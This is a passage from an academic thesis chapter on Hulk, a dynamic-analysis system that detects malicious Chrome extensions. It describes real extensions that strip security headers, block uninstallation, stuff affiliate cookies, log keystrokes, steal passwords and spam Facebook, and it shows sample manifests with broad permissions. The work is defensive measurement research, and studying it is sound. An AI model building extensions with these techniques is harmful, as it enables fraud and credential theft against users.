observe malicious behavior that inserts new iframe or div elements.

In addition, we built a fuzzer to drive the execution of event handlers registered by

extensions. In our experiments, we use the fuzzer to trigger all event handlers associated

with web requests, exercising each with 1 million URLs. Although we undertook extensive

efforts to trigger malicious behavior, the possibility remains that Hulk lacks the mechanisms

to satisfy all of the conditions necessary for eliciting an extension’s malicious behavior.

Our analysis of 48,332 Chrome extensions found that malicious extensions pose a serious

threat to users. By developing a set of rules that label execution logs from Hulk, we identified

130 malicious extensions and 4,712 “suspicious” extensions, most of which appear in the

Chrome Web Store. Several large classes of malicious behavior appear within our set of

extensions: affiliate fraud, credential theft, ad injection or replacement, and social network
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abuse. In one case, an extension performing ad replacement had nearly 2 million users,

similar in size to some of the largest botnets.

In summary, we frame our contributions as follows:

• We present Hulk, a system to perform dynamic analysis for Chrome extensions.

• We demonstrate the effectiveness of HoneyPages and event handler fuzzing to elicit

malicious behavior in browser extensions.

• We perform the first broad study of malicious Chrome extensions.

• We characterize several classes of malicious Chrome extensions, some with very large

footprints (up to 5.5M installations) and propose solutions to eliminate entire classes of

malicious behavior.

5.1 Background

We begin by reviewing the Google Chrome extension model and the opportunities this model

provides to malicious extensions.

5.1.1 Chrome Extension Composition

Google Chrome supports extensions written in JavaScript and HTML (distributed as a single

zip file). A small number of extensions also include binary code plugins, although these

are subject to a manual security review process [38]. Each extension contains a (mandatory)
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manifest that, along with other extension parameters, describes the permissions the extension

uses and the list of resources that the browser should load.

The permission system is designed in the spirit of least privilege, with the goal of limiting

the resources available to an extension in case it has exploitable vulnerabilities [9]. The

threat model does not attempt to address malicious extensions accessing sensitive content or

performing other actions. The permission system determines which sites an extension can

access, the allowed API calls, and the use of binary plugins. We describe relevant parts of

the permission system later in this section. See Barth et al. for a more detailed description of

Chrome’s extension architecture [9].

5.1.2 Installing Extensions

The Chrome Web Store is the official means for users to find and install extensions. The Web

Store is similar to other app stores, such as those for iOS and Android, in that developers

create extensions and upload them to the store for users to download. Extension developers

can also push out updates without requiring any action by the end-user.

In addition to the Chrome Web Store, extensions can also be installed manually by a

user or an external program. We refer to the installation of extensions outside the web

store as sideloading. Chrome version 25 (released February, 2013) included changes to

prevent silent installation of Chrome extensions and require that the user indicate consent

for installation [62]. In May, 2014, Chrome took further steps to prevent sideloading by
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requiring all installed extensions to be hosted in the Chrome Web Store [50]. While these

changes increase the difficulty of sideloading, it is still possible for programs to force silent

installation of extensions, since the attacker already has control of the machine. For our

study we obtained a set of extensions that are sideloaded into Chrome by other Windows

programs, many of which are known malware.

5.1.3 Extension Permissions

Permissions. Chrome requires extensions to list the permissions needed to access the

different parts of the extension API. For example, Figure 5.1 shows a portion of a man-

ifest file requesting permission to access the webRequest and cookies API. The

webRequest permission allows the extension to “observe and analyze traffic and to

intercept, block, or modify requests in-flight” by allowing the extension to register callbacks

associated with different parts of the HTTP stack [38]. Similarly, the cookies API allows the

extension to get, set, and be notified of changes to cookies.

The extension API permissions operate in conjunction with the optional host permissions,

which limit the API permissions to access resources only for the specified URLs. For example,

in Figure 5.1 the extension requests host permissions forhttps://www.google.com/,

which allows it to access cookies and webRequest APIs for the specified domains.

Host permissions also support wildcarding URLs. In Figure 5.1, the extension requests

access to *://*.facebook.com. This permission allows for access to all subdomains
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...
"permissions": [
"cookies",
"webRequest",
"*://*.facebook.com/",
"https://www.google.com/"

],
...
"content_scripts": [
{
"matches": ["http://www.yahoo.com/*"],
"js": ["jquery.js", "myscript.js"]

}
],
...
"background": {
"scripts": ["background.js"]

},
...
"content_security_policy": "script-src 'self'

http://www.foo.com 'unsafe-eval';"
...

Figure 5.1: Example of a manifest that shows API permissions for two hosts, followed by

content scripts that run on http://www.yahoo.com, followed by a background script

that runs on all pages. Finally, the CSP specifies the ability to include and eval scripts in

the extension from foo.com.

of facebook.com requested via any URL scheme. In addition to wildcards, the special

token <all urls>matches any URL.

Besides the permissions described above, we found that extensions request a variety of

other permissions. In Section 5.3 we summarize the permissions requested for all of the
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extensions we examined, and we discuss the permissions relevant to various types of abuse in

Section 5.4. Other resources provide a thorough analysis of the Chrome permission system

[9, 15].

Content Scripts. In addition to permissions for accessing various resources associated with

a page, extensions can also specify a list ofcontent scripts to indicate JavaScript files

that will run inside of the web page. Figure 5.1 shows an example of including two JavaScript

files, jquery.js and myscript.js that will be run in the context of the page for any

URLs matching the specified URL patterns (all pages on http://www.yahoo.com/

in this example). Inside of each JavaScript file the author can include further logic to decide

if and when to execute.

The ability to run in the context of a page is a powerful feature. Once a content script exe-

cutes, any resulting actions become indistinguishable from actions performed by JavaScript

provided by the web server. Not only can the scripts modify the DOM tree or other scripts,

but they can also issue authenticated web requests (such as POST with proper cookies).

Background Pages. Besides the content scripts that allow an extension to interact with a

given page, Chrome also allows extensions to run scripts in a “background page”. Figure 5.1

shows an example manifest file that specifies background.js as a background page.

Background pages often contain the logic and state an extension needs for the entirety of

the browser session and do not have any visibility to the user. For example, an extension

requesting webRequest permissions may use the background script to attach a listener
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to read outgoing requests using the chrome.webRequest.onBeforeRequest.

addListener() call. After filtering on the host permissions, Chrome will send the

extension a notification for every outgoing request. We detail further examples in the context

of the extensions in the following sections.

Content Security Policy. In general, servers can specify a Content Security Policy (CSP)

header that the browser uses to determine the sources from which it can include objects on

the page. CSP can also specify other options, such as whether to allow the page to perform

an eval or to embed inline JavaScript [107]. Extensions can use the same syntax to express

their CSP in the manifest file. For example, an extension that wishes to include source from

foo.com and to execute eval can specify its CSP as shown in Figure 5.1.

5.2 Architecture

In this section, we describe the architecture of Hulk, our dynamic analysis system that

identifies malicious behavior in Chrome extensions. Hulk dynamically loads extensions

in a monitored environment and observes the interaction of extensions with the loaded

web pages. Using a set of heuristics to identify potentially dangerous behavior, it labels

extensions as malicious, suspicious, or benign. In the rest of this section we describe how

Hulk works and the challenges that arise in analyzing browser extensions.
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5.2.1 Profiling Extensions

At the core of our dynamic analysis system is an instrumented browser and extension

loader that enables us to automatically install extensions and instrument activity during web

browsing. Our monitoring hooks collect data from multiple vantage points within the system

as Hulk visits web pages and triggers a range of extension behavior.

URL Extraction. Before we dynamically analyze an extension we need to ensure that

we can trigger the extension’s functionality. Most extensions interact with the content of

web pages, so we need to choose which URLs to load for our analysis. To this end, we

use three sources of URLs: the manifest, the source code, and a list of popular sites. First,

using the manifest file of the extension we construct valid URLs that match the permissions

and content scripts specified. In some cases, the host permissions of an extension are

restrictive—for example, https://*.facebook.com—so we can generate URLs

that will match the pattern. It is more difficult to pick URLs to visit in cases where the

extension requests host permissions on all URLs (Section 5.1.3), because the malicious

behavior may only trigger on a small subset of sites. Therefore, we search the source code

for any static URLs and visit those as well. Finally, for every extension we also visit a set of

popular sites targeted by malicious extensions. We constantly strive to improve this list as

we detect malicious extensions attacking particular domains. We however note that although
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we use multiple sources of URLs to determine the appropriate pages to visit, our approach is

not complete; we discuss the limitations further in Section 5.6.

HoneyPages. Some extensions activate based on the content of a web page instead of the

URL. To analyze such extensions we use specially crafted pages that attempt to satisfy the

conditions that an extension looks for on a page before performing an action. We call these

HoneyPages. HoneyPages contain JavaScript functions that overload built-in functions that

query the DOM tree of the web page. As a result, when an extension queries for the presence

of a specific element we can automatically create it and insert it into the page. For example,

if the extension queries an iframeDOM element with the intention to alter it, then our

HoneyPage will create an iframe element, inject it in the DOM tree, and return it to the

extension.

HoneyPages enable us to supplement the URL extraction phase and dynamically create

an environment for the extension to perform as many actions as it needs. The on-demand

nature of a HoneyPage does not restrict us to a specific DOM tree structure, but enables us

to determine what an extension looks for in a page during execution, since we can record

all interactions within a HoneyPage. By using HoneyPages we can better understand how

the extension will behave on arbitrary pages that are otherwise difficult to generate prior to

analysis.
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5.2.2 Event-Based Execution

The Chrome browser offers to extensions an event-based model to register callbacks

that respond to certain browser-level events. For example, extensions use the chrome.

webRequest.onBeforeRequest callback to intercept all outgoing HTTP requests

from the browser. HoneyPages will not trigger callbacks for network events that require

special properties, such as a specific URL or HTTP header. Therefore, we complement

HoneyPages with event handler fuzzing. Specifically, we invoke all event callbacks that an

extension registers in the chrome.webRequestAPI with mock event objects. We point

to a HoneyPage loaded in the active tab while invoking the callbacks, enabling us to monitor

the changes that the extension attempts to make on that page. Our approach allows us to test

for every extension the extension’s callbacks on the top 1 million Alexa domains in under

10 seconds on average.

Monitoring Hooks

Browser Extension API. Depending on the permissions included in the manifest (Sec-

tion 5.1.3), an extension can use the Chrome extension API to perform actions not available

to JavaScript running in a web page. As such, monitoring the extension API captures a

subset of the total JavaScript activity that results from an extension, but gives us a detailed

picture of what the extension attempts to do. For example, we monitor the extension API
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and log if the extension registers a callback to intercept all HTTP requests performed by the

browser, and then track the changes that the extension makes to the HTTP requests. To do

this, we leverage the current logging infrastructure offered by Chrome for monitoring the

activity of extensions. We build upon the JavaScript function call logging provided by the

browser to identify malicious behavior, such as tampering of security-related HTTP headers.

Content Scripts. We intercept and log all additional code introduced by the extension in

the context of the visited page. Doing so provides a more complete picture of the extension’s

functionality, since it can include remote scripts from arbitrary locations and inject them

into the page. Remote scripts can compromise the page’s security similar to third-party

JavaScript libraries [77], and make the analysis of the extension more difficult. Using remote

scripts gives miscreants the ability to blacklist IP addresses of our analysis system (i.e.,

cloaking [49, 105]) or return code without the malicious components. Remote JavaScript

inclusion also renders static analysis on the extension’s code fundamentally incomplete

since parts of the extension’s codebase are not available until execution.

Network Logging. We use a transparent proxy that intercepts all browser HTTP and DNS

traffic to log the requests made during extension execution. A browser extension has a set of

files available as resources loaded by the browser, and it can also download and execute

content from the web. Since the URLs retrieved can be computed at runtime, monitoring

the network activity of the extension is critical for a complete analysis of its source code

and included components. In addition to identifying remote content, we log all domains
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contacted by monitoring the DNS requests generated by the browser. Doing so enables

us to identify extensions that contact non-existent domains, which can occur because the

extension is no longer operational or up-to-date. In these cases, our analysis was necessarily

incomplete, since when the domain was active the extension could have fetched more remote

code from it.

5.2.3 Detecting Malicious Behavior

As described in the previous section, our dynamic analysis system can provide detailed

information about all browser and extension activity performed while visiting web pages.

We combine this data to label the extension as either benign, suspicious, or malicious

by applying a set of labeling heuristics based on the behavior. Labeling an extension as

malicious indicates we identified behavior harmful to the user. Suspicious indicates the

presence of potentially harmful actions or exposing the user to new risks, but without

certainty that these represent malicious actions. Finally, when we do not find any suspicious

activity, we label the extension as benign.

JavaScript Attributes

We use our monitoring modules described in Section 5.2.2 to identify malicious JavaScript

execution. Below we detail actions that we consider malicious or suspicious in our post-

processing analysis.
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Extension API. As described earlier, Chrome’s extension API offers privileged access to

additional functionality of the browser besides native JavaScript, using permissions specified

in the manifest file. While there are benign uses for every permission, we found several

extensions that abuse the API. Specifically, for reasons described below, we consider the

following actions available only through the extension API as malicious: uninstalling other

extensions, preventing uninstallation of the current extension, and manipulating HTTP

headers.

We consider uninstalling other extensions as malicious because some extensions uninstall

cleaner extensions, such as the extension Facebook created to remove harmful extensions on

its blacklist.2 We detect this behavior by monitoring the chrome.management.

uninstall API calls. To avoid false positives, we can differentiate cleaners from

malicious extensions because, to the best of our knowledge, cleaners operate in a different

fashion than Antivirus does: they clean up malicious extensions and then remove themselves

from the browser. This differs from the behavior of malicious extensions, which remain

persistent on the system.

Besides attempting to uninstall other extensions, malicious extensions often prevent the

user from uninstalling the extension itself. More specifically, we found extensions that

prevent the user from opening Chrome’s extension configuration page where a user can con-

veniently uninstall any extension. To prevent uninstallation, malicious extensions interfere

2https://chrome.google.com/webstore/detail/facebook-malicious-
extens/mhkafblddkepdhhjpmedkngigkjjknoa
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with tabs that point to the extension configuration page,chrome://extensions, either

by replacing the URL with a different one, or by removing the tab completely. For analysis,

we load a tab with chrome://extensions in the browser during our dynamic analysis

and monitor any interactions to identify such behavior.

Lastly, using callbacks in the webRequest API, a malicious extension can manipu-

late HTTP headers. Extensions can use the webRequest API to effectively perform a

man-in-the-middle attack on HTTP requests and responses before they are handled by the

browser. This behavior is often malicious (or at least dangerous) since we found exten-

sions that remove security-related headers, such as Content-Security-Policy or X-Frame-

Options, through the use of callbacks such as webRequest.onHeadersReceived

and webRequestInterval.eventHandled. By monitoring the use of this API,

we can log events that reveal state of HTTP headers before and after the request. Upon

manipulation of any security-related headers, we label the extension as malicious.

Interaction with visited pages. In addition to the extension API, we also monitor an

extension’s use of content scripts to modify web content loaded in the browser. In our

analysis, we flag two kinds of interaction: sensitive information theft as malicious and

injection of remote JavaScript content as suspicious.

There are many ways an extension can steal personal information from the user. For

example, it can act as a JavaScript-based keylogger by intercepting all keystrokes on a page.

Extensions can also access form data, such as a password field, before it is encrypted and
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sent over the network. Finally, extensions can also steal sensitive information from third

parties by accessing sites with which the user has a valid session, and either issuing requests

to exfiltrate data, or simply stealing valid authentication tokens.

We label any extension that injects remote JavaScript content into a web page as suspicious.

We define this activity as adding a script element with a src attribute pointing to a

domain that is different from the one of the web page. Including these scripts complicates

analysis since the JavaScript content can change without any corresponding change in

the extension. We have observed changes to JavaScript files that substantially alter the

functionality of an extension, possibly due to a server compromise.

Network Level

By monitoring network requests, including DNS lookups and HTTP requests, we identify

other types of suspicious/malicious behavior. Using a manual analysis of network logs

we have identified two attributes that indicate malicious or suspicious behavior: request

errors and modification of HTTP requests. To detect HTTP modifications, we examine if

the network response that we observe on the wire differs from the network response finally

processed by the browser.

As we discussed earlier, the extension API offers callbacks to give extensions the ability

to intercept and manipulate web requests. Not only can extensions drop security-related

headers, but extensions can change or add parameters in URLs before the HTTP request is
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sent. We find such suspicious behavior common, especially among extensions that request

permissions on shopping-related sites such as Amazon, EBay, and others. In these cases, the

extension adds parameters to the URL that indicate that the site should credit a particular

affiliate for any resulting sales. We discuss this behavior in more detail in Section 5.4. At

the network level, we have the complete view of how the requests originally appeared. We

combine that knowledge with our chrome.*API monitoring to identify the exact changes

made to the request.

We also look for errors during domain name resolution to identify extensions that contact

domains since taken down. As with drive-by downloads, we expect that malicious code

dynamically loaded into an extension will eventually become blacklisted. In such cases, the

extension will fail to introduce more code during its execution. We detect this behavior and

mark it as suspicious.

5.2.4 Injected Content Analysis

A Chrome extension can also manipulate the visited pages of the browser by injecting a

content script. The injected script runs in the context of the visited page and thus has full

access to its DOM tree. The injected code can vary significantly, and, with the dynamic

nature of JavaScript, can prove difficult to analyze statically. The use of HoneyPages enables

us to understand the injected code’s full intentions. Instead of trying to infer what the code

will do, we actually run it to observe its effects on the DOM tree and classify it accordingly.

114



Chapter 5. Eliciting Malicious Behavior in Browser Extensions

Analysis result Count

Malicious 130

Suspicious 4,712

Benign 43,490

Total 48,332

Table 5.1: Classification distribution of extensions.

For example, if the injected code looks for a form field with the name “password,” we

classify it as malicious, since it can potentially hijack the user’s credentials on the page.

Another example concerns injecting additional code, where the injected code is part of a

two-stage process that fetches yet more code from the web and dynamically executes it in the

context of the visited page. By relying on HoneyPages to understand the code’s intentions

by the effect that the code has on a given page, we obtain a more precise view of what the

code attempts do than we can using only static analysis.

5.3 Results

To evaluate Hulk we use two sources of extensions: the official Chrome Web Store (totaling

47,940 extensions), and extensions sideloaded by binaries. We obtained the latter based on
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Detection class Count

[s] Injects dynamic JavaScript 2,672

[s] Produces HTTP 4xx errors 2,322

[s] Evals with input>128 chars long 451

[m] Prevents extension uninstall 56

[m] Steals password from form 39

[s] Performs requests to non-existent domain 26

[m] Contains keylogging functionality 23

[m] Injects security-related HTTP header 11

[m] Steals email address from form 10

[m] Uninstalls extensions 8

Table 5.2: Distribution of detected suspicious/malicious behavior from analyzed extensions.

Notice that an extension might have more than one detections and that we mark with [m]

detections classified as malicious and with [s] detections classified as suspicious.

binaries executed in Anubis [6], which, after removing a large number of duplicates, resulted

in a set of 392 unique extensions. As shown in Table 5.1, in total we analyzed 48,332 distinct

extensions, of which Hulk labeled 130 as malicious and 4,712 as suspicious. Table 5.2
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Rank Top 10 types of permissions # ext.

1 tabs 16,787

2 notifications 12,011

3 unlimitedStorage 9,424

4 storage 5,725

5 contextMenus 4,774

6 cookies 2,872

7 webRequest 2,849

8 webRequestBlocking 2,102

9 webNavigation 1,623

10 management 1,533

Table 5.3: The top 10 permissions found in the manifest files for all extensions we ran.

Extensions can include more than one permission.

summarizes all of the detected behaviors, which we analyze in more detail in the following

sections.
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5.3.1 Permissions Used

In this section we characterize the extensions we executed by identifying the most popular

permissions, content scripts, and API calls that they performed.

Permissions. Table 5.3 shows the top 10 permissions from 30,392 unique extensions

that use the Chrome Extension API (excluding the host permissions). The most com-

monly used, the tabs permission, allows an extension to interact with the browser’s

tabs, including navigating a tab to a specified URL and registering callbacks to react to

changes in the address bar. The second most popular permission, notifications,

allows an extension to generate custom notifications that alert the user. The storage and

unlimitedStorage permissions allow storing of permanent data in the user’s browser.

ThecontextMenus permission allows an extension to add additional items on the context

menu of the browser. Context menus appear when the user right clicks on a page. To manip-

ulate the browser’s cookies, an extension needs to ask for the cookies permission. The

permissions webRequest, webRequestBlocking and webNavigation allow

an extension to inspect, intercept, block, or modify web requests from the browser. Finally,

an extension can get a list of other extensions installed in the browser—and even disable or

unistall them—with the management permission.

We also computed permission statistics independently for the set of benign extensions and

the set of malicious or suspicious ones. To our surprise, we found that permissions for benign
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extensions do not differ significantly from permissions requested by malicious/suspicious

ones, indicating that often attackers do not need to target different APIs to perform their

attacks; maliciousness instead manifests in the way they use the API.

We found 18,313 extensions that use host permissions to restrict on which pages the

extension can use the privilegedchrome.*API. Table 5.4 shows the top 25 hosts appearing

in host permissions. As seen in the table, extensions typically request broad permissions using

wildcards in URL patterns. In addition these, we examined the hosts that extensions specified

as targets for injecting content scripts, per Table 5.5, finding similar broad declarations. In

practice, extension authors often use content scripts and host permissions in an unrestricted

fashion.

API calls. Table 5.6 shows the top 15 Chrome Extension API calls made during by

extensions during our experiments. There are several measurement artifacts introduced

by our methodology. To load an extension for testing, we install the extension on a

clean browser each time we start an analysis. This causes runtime.onInstalled

to appear in every analysis independent of the extension’s activities. We also open the

chrome://extensions tab from inside the extension to determine if the extension

interferes with the management of extensions. This causes Hulk to record a large number

of tabs.create calls. In Table 5.6 the tabs API is by far the most used API, which

matches the popularity of tabs permissions observed in Table 5.3.
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5.3.2 Network Level

Using network activity alone we identified 24 malicious extensions. These extensions were

labeled as malicious by Hulk because they tampered with security-related HTTP headers.

By removing HTTP response headers like Content-Security-Policy, the malicious extensions

can inject JavaScript into pages that specifically do not allow scripts from external sources

(according to the CSP policies provided by the web server). For example, Hulk found

multiple variants of an active extension on the Chrome Web Store targeting users that seek to

cheat in online games; these extensions, generally going by the name “Cheat in your favorite

games”, affect over 20K users.

During our experiments we encountered cases where our analysis could not obtain the full

set of information needed to make a decision regarding the maliciousness of an analyzed

extension. This problem arose due extensions performing HTTP requests that either returned

errors, such as an HTTP 404 responses, or having domain names that no longer resolved. In

such cases, given our inability to exercise the extension’s full set of capabilities, and because

the failed requests might correspond to fetching additional code, we mark these extensions

as suspicious.
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5.3.3 Extensions Management

Using signals tailored to detect the manipulation of the chrome://extensions page

(as described in Section 5.2.3), we found several extensions on the Chrome Web Store that

prevent uninstallation. Two of of these extensions claim to be video players (each with

thousands of user) and completely replace Chrome’s extensions management with a page

that prevents users from uninstalling them. These are “HD Video Player” with 7,173 users

and “SmartScreen Video Plugin” with 11,012 users. These signals also generated a false

positive: the “No Tab Left Behind” extension (with only 8 users) allows only one tab at a

time to be open. Thus, during our execution this extension prevented us from opening the

extension settings tab.

5.3.4 Code Injection

Code injection was the most commonly detected “suspicious” feature in our dataset. In

principle injection need not occur at all, since Chrome extensions can come packaged with all

the code needed to operate. In total, we found more than 3,000 extensions that dynamically

introduced remotely-retrieved code either through script injections or by evoking eval.

As we noted earlier, using remote code renders static analysis on the extension’s code

fundamentally incomplete. However, Hulk can identify code injections and pinpoint the

remote locations from which an extension fetches code. Although not necessarily malicious,
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we found many cases of dangerous code injection. For example, our system identified

an extension named “Bang5TaoShopping assistant” from the Chrome Web Store that has

been installed in 5.6 million (!) browsers and injects code into every visited page. Several

extensions perform this same activity, while others insert tracking pixels for similar purposes.

One instance sends cleartext HTTP request to a server controlled by the extension that

encodes the URL visited by the user along with a unique identifier, leaking users browsing

behavior and thus compromising their privacy.

5.4 Profiting from Maliciousness

In this section, we discuss five categories of malicious behavior in extensions, and describe

their characteristics and the methods they employ to carry out their goals. We base each of

these categories on examples we found in our feeds. When the extension is available on the

Chrome Web Store, we also when possible include the number of users prior to reporting the

extension to Google for review.

We have reported to Google any extension that performs behavior that is clearly abusive or

malicious, and several of our reports have lead to removals of extensions from the web store.
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5.4.1 Ad Manipulation

Advertisement manipulation falls in a grey area in that it does not subvert the user, but

rather manipulates an external ecosystem. Replacing ads might appear benign to end users,

but removes the potential for monetary credit for website owners (publishers) and instead

fraudulently credits the extension owner. We include in this category the addition of new

ads as well as the replacement of existing ads or identifiers. We find a range of behaviors in

extensions, such as replacing banner ads with different identically-sized banners; inserting

banners and text ads into well-known sites (such as Wikipedia); changing affiliate IDs

for ads; or simply overlaying ads on top of content. Each instance aims to profit from

impressions or clicks on the substituted advertisements.

As one striking example of ad manipulation we found an extension on the Chrome Web

Store that had 1.8M users at the time we detected it. The extension, named “SimilarSites

Pro” used primarily unobfuscated JS to perform benign functionality as advertised on the

Chrome Web Store; however, it also inserted a script element into the content of web pages

that downloads another, fully-obfuscated script (using eval and unescape) from a web

server. At the time of analysis, this script contained a large conditional block that looked for

iframe elements of particular sizes, such as 728x90 pixels, and replaced them with new

banners of the same size. Since our first analysis, we have seen several new versions of the

script available from the same URL. In addition, the extension contains a blacklist of sites
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"content_scripts": [{
"matches": ["http://*/*", "https://*/*"],
"js": ["js/content.js"]

}],
"permissions": ["http://*/*",
"https://*/*", "tabs"],

Figure 5.2: Permission-related JSON from the manifest file of an extension performing ad

replacement.

and meta keywords where it should not change the banners, which appears due to many ad

networks prohibiting the display of their ads on porn sites.

We find the same JavaScript included in five other extensions from the Chrome Web

Store, as well as one sideloaded extension. Based on manual analysis, these extensions are

primarily produced by a single company called “SimilarGroup” that engages in dubious

behavior through the Chrome Web Store.

To perform banner replacement, the extension requests the permissions shown in Fig-

ure 5.2. Such exceptionally wide permissions are not uncommon [15]. Therefore, their

presence alone provides little insight into the functionality of the extension. The most

significant permission in Figure 5.2 is the broad use of content scripts that allow the extension

to inject dynamic JavaScript files from a remote location. Following injection, execution

continues as though the page had included it. Such content scripts provide an exceptionally

powerful feature to enable a variety of malicious behaviors, as further discussed in this

Section.
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5.4.2 Affiliate Fraud

Many major merchant web sites such asamazon.com,godaddy.com, andebay.com

run affiliate programs that credit affiliates with a fraction of the sales made as a result of

customers referred by the affiliates. Usually merchant programs assign unique identifiers to

affiliates, which affiliates then include in the URL that refers customers to the merchant site.

Furthermore, affiliate programs usually associate a cookie with the user’s browser so that

they can attribute a sale to an affiliate within several hours after a user originally visited the

merchant site with an affiliate identifier.

As an example, when a user reads product reviews on an Amazon affiliate’s blog and

clicks on a link to Amazon, the link includes an Amazon affiliate ID specified with the

tagparameter in the URL, such ashttp://www.amazon.com/dp/0961825170/

?tag=affiliateID. When Amazon receives this request, it returns a Set-Cookie

header with a cookie that associates the user with the affiliate. When the customer returns to

Amazon within 24 hours and makes a purchase, Amazon credits the affiliate with a small

percentage of the transaction amount.

Such programs expect affiliates to bring potential customers to their sites via affiliate pages

that advertise the merchant products. However, we found examples of several extensions

involved in cookie stuffing—a technique that causes the user’s browser to visit the merchant

URLs without the user clicking on affiliate URLs. Doing so causes the merchant to deliver
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a cookie associated with the fraudulent affiliate, who then receives credit for any future,

unrelated purchase made by the customer on the merchant site. Besides defrauding the

merchant, the fraudulent affiliate also causes an over-write of the cookie associated with any

legitimate affiliate who might have genuinely influenced the user to buy the product.

In our study, we found two kinds of extensions that defrauded affiliate programs. The

first group includes extensions that provide some utility to users—such as refreshing pages

automatically every few seconds, or changing the theme of popular sites like Facebook—but

do not inform users of the extension author profiting from the user’s web browsing. Generally,

these activities involve monitoring visited URLs for merchant sites where the extension can

earn a commission and modifying the outgoing requested URLs to include the affiliate ID,

or by injecting iframe’s that include affiliate URLs.

For example, we found an extension named “*Split Screen*” (with 52K users) that

allows users to show two tabs in a single window, while also stealthily monitoring the

URLs visited by the user. It then silently replaces the requested URL with the affili-

ate’s URL for sites such as amazon.com, amazon.co.uk, hotelscombing.com,

hostgator.com, godaddy.com, and booking.com. For some merchants, it also

sets the referrer header for outgoing requests to falsely imply a visit through the affiliate’s site.

The extension is able to make these changes using tab and webRequest permissions,

as well as by registering callbacks on chrome.tabs.onUpdated to identify changes

in the URL as a user types, and chrome.webRequest.onBeforeSendHeaders
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to modify the referrer header before the browser sends a request to a merchant site. We

found four other extensions created by the same developer that similarly provided some

small utility to the user while defrauding merchant programs in the background. Overall this

developer’s extensions have nearly 70K users.

Another extension we found named “Facebook Theme: Basic Minimalist Black Theme”

(2.5K users) allows users to change the appearance of Facebook. Besides its stated intent,

however, it also monitors browsing and appends an affiliate identifier to 7 different Amazon

sites. By using its Content Security Policy (Section 5.1.3) to perform eval, it runs a highly-

obfuscated hexadecimal and base64-encoded background script that stores all affiliate

identifiers in Chrome’s storage (using storage permissions), and registers callbacks on

tab update events using tab permissions. When the user visits any URL, Chrome notifies

the extension, and the extension uses regular expressions to identify target Amazon URLs for

which to add an affiliate identifier. The extension then updates the URL before the browser

sends the request. The creator of the extension appears well aware that the extension violates

Amazon’s Conditions of Use [5] and has heavily used obfuscation, evidently to evade any

static analysis for detecting affiliate fraud.

As another example, we found an extension named “Page Refresh” (200 installations)

that allows users to refresh tabs periodically and only requests tabs permission. By using

the background page to listen on all tab update events, if a user visits a merchant site it sets

the URL in the tab to a URL shortener that redirects the user to the same merchant page but
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with the affiliate identifier included in the URL, thereby stuffing a cookie into the user’s

browser. This extension abuses 40 different merchants, again including Amazon.

This approach has the advantage that it capitalizes on organic traffic to merchant sites,

which can make fraud detection difficult because merchants see visit behavior highly similar

to that they would otherwise see as a result of legitimate affiliate referrals.

The second group of extensions includes extensions that clearly state in their descriptions

that the extension monetizes the user’s online purchases—generally for charitable causes

or donations to organizations. The intent or legitimacy of such programs is difficult to

ascertain. For example, the extension “Give as you Live” [17] has over 11K users, and forms

part of a larger campaign [16] to raise funds for charities from user purchases online. The

extension works by adding a list of stores for which the extension author has signed up as an

affiliate to the results of major search engines. It also adds a script on merchant sites such

as amazon.co.uk to redirect users via its own URL. While it does bring legitimate and

likely well-intentioned traffic to Amazon, the legitimate affiliates can lose out if users choose

to read product reviews on affiliate sites and then make the purchase via this extension.

In fact, a plethora of extensions exists allowing users to donate to charity simply by

shopping online. Another such extension uses webRequest permissions to modify the

requested URL to the affiliate URL, including over-writing the existing affiliate URL. While
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this clearly constitutes cookie-stuffing, the extension advertises itself as “Help support our

charity by shopping at amazon.co.uk”.3

5.4.3 Information Theft

Information theft clearly reflects malicious behavior that has the potential to harm the user

in a number of ways, from disclosing private information to financial loss. This broad

category of abuse in many ways replicates the functionality of some malware families.

Within the browser, we observe stealing of: keypresses, passwords and form data, private

in-page content (e.g., bank balances), and authentication tokens such as cookies. We do not

include extensions that simply re-use existing authentication tokens already present, such as

extensions that spam on social networks; we discuss these in Section 5.4.4.

One example of keylogging we found in the Chrome Web Store, “Chrome Keylogger”,

is an experimental extension from researchers [35] that is now removed. Keyloggers use

content scripts to register callbacks for key press events, recording the pressed key by

using the messaging API to communicate with a background page. The background page

then queues up data to send to a remote server. This behavior has similarities with that of

extensions that steal form data, although the specific event handlers differ. Both form field

theft and keylogging require the extension to specify a content script but do not require other

permissions.

3 The extension creator also helpfully marked the JavaScript code that adds the affiliate identifier as
something to obfuscate in the future.
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5.4.4 OSN Abuse

Online social network abuse constitutes the final category of prevalent malicious extensions

we found. These extensions typically target Facebook, and spread via both the Chrome Web

Store and sideloading. These extensions use existing authentication data to interact with

the APIs and websites of online social networks. Previous work identified and reported

Chrome extensions that abuse social networks, reporting that thousands of users had installed

extensions from the Chrome Web Store that spam on Facebook [7].

We found a number of extensions that post spam messages and use other features provided

by social networks, such as the ability to upload and comment on photos or query the

social graph. When we execute these extensions with Hulk, the HoneyPage features allows

the extensions to create elements and insert them into the DOM tree. While we do not

typically inspect the visual results of our executions, in one case we observed an extension

creating div elements to mimic Facebook status updates and inserting them into a page.

The HoneyPage acted as a sink for the spam status messages resulting in a page full of spam

for the infected user.

One extension of interest, WhasApp (a name closely resembling the popular WhatsApp, a

mobile chat application), has since been removed from the Chrome Web Store, but we also

found evidence of the same extension being sideloaded from malware. The extension targets

both Facebook and Tumblr. At Facebook, the extension uploads images to Facebook and
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"content_scripts": [{
"js":["BlobBuilder.js", ... ],
"matches":["http://*/*", "https://*/*" ],
"run_at": "document_end"

}],
"permissions":["http://*/*", "https://*/*",
"*://*.facebook.com/",
"tabs", "cookies", "notifications",
"contextMenus", "webRequest", ...],

Figure 5.3: Permissions and content script excerpts from the manifest for an extension that

spams on Facebook and creates Tumblr accounts.

then comments on them with messages containing URLs. In some cases the links are used to

spread the malicious extension to a wider audience, while other URLs sought to monetize

users as part of a spam campaign to advertise products. At Tumblr, the extension creates new

Tumblr accounts and verifies them in the background.

The manifest file contains permissions and content scripts that request broad access,

as shown in Figure 5.3. The extension is in fact over-privileged, since the extension in

fact does not use some of the API permissions the manifest includes. Prior work has

identified over-privileging as not uncommon, even among benign extensions [28]. Figure 5.3

shows the extension specifically requesting access for permissions and content scripts on

facebook.com in addition to all other sites, which provides a hint as to the sites targeted.

To carry out spamming on Facebook and Tumblr account creation, the extension actually

only requires the use of content scripts. The abusive component of the extension is 15 lines

131



Chapter 5. Eliciting Malicious Behavior in Browser Extensions

of JavaScript that downloads a much larger remote JavaScript file containing the spamming

functionality.

5.5 Recommendations

In this section, we frame changes to make Chrome’s extension ecosystem safer. Ex-

tensions should not have the ability to manipulate browser configuration pages, such as

chrome://extensions, that govern how users manage and uninstall extensions. Ex-

